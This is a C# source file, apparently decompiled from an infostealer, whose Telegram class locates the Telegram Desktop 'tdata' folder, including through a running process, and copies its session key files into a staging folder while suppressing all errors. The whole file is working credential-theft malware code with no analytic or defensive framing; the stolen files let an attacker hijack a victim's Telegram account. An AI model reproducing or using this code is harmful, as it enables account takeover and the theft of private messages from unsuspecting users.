64 lines
2.1 KiB
C#
64 lines
2.1 KiB
C#
using System;
|
|||
|
|
using System.Diagnostics;
|
||
|
|
using System.IO;
|
||
|
|
using System.Threading.Tasks;
|
||
|
|
|
||
|
|
namespace SHARP
|
||
|
|
{
|
||
|
|
internal class Telegram
|
||
|
|
{
|
||
|
|
private static string GetTdata()
|
||
|
|
{
|
||
|
|
string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata";
|
||
|
|
Process[] processesByName = Process.GetProcessesByName(nameof (Telegram));
|
||
|
|
return processesByName.Length == 0 ? str : Path.Combine(Path.GetDirectoryName(ProcessList.ProcessExecutablePath(processesByName[0])), "tdata");
|
||
|
|
}
|
||
|
|
|
||
|
|
public static async Task GetTelegramSessions(string head)
|
||
|
|
{
|
||
|
|
string str1 = head;
|
||
|
|
string tdata = Telegram.GetTdata();
|
||
|
|
try
|
||
|
|
{
|
||
|
|
if (!Directory.Exists(tdata))
|
||
|
|
return;
|
||
|
|
string str2 = str1 + "\\Telegram";
|
||
|
|
Directory.CreateDirectory(str2);
|
||
|
|
string[] directories = Directory.GetDirectories(tdata);
|
||
|
|
string[] files = Directory.GetFiles(tdata);
|
||
|
|
foreach (string str3 in directories)
|
||
|
|
{
|
||
|
|
string name = new DirectoryInfo(str3).Name;
|
||
|
|
if (name.Length == 16 /*0x10*/)
|
||
|
|
{
|
||
|
|
string targetDir = Path.Combine(str2, name);
|
||
|
|
Filemanager.CopyDirectory(str3, targetDir);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
foreach (string fileName in files)
|
||
|
|
{
|
||
|
|
FileInfo fileInfo = new FileInfo(fileName);
|
||
|
|
string name = fileInfo.Name;
|
||
|
|
string destFileName = Path.Combine(str2, name);
|
||
|
|
if (fileInfo.Length <= 5120L)
|
||
|
|
{
|
||
|
|
if (name.EndsWith("s") && name.Length == 17)
|
||
|
|
{
|
||
|
|
fileInfo.CopyTo(destFileName);
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data"))
|
||
|
|
fileInfo.CopyTo(destFileName);
|
||
|
|
++Counting.Telegram;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|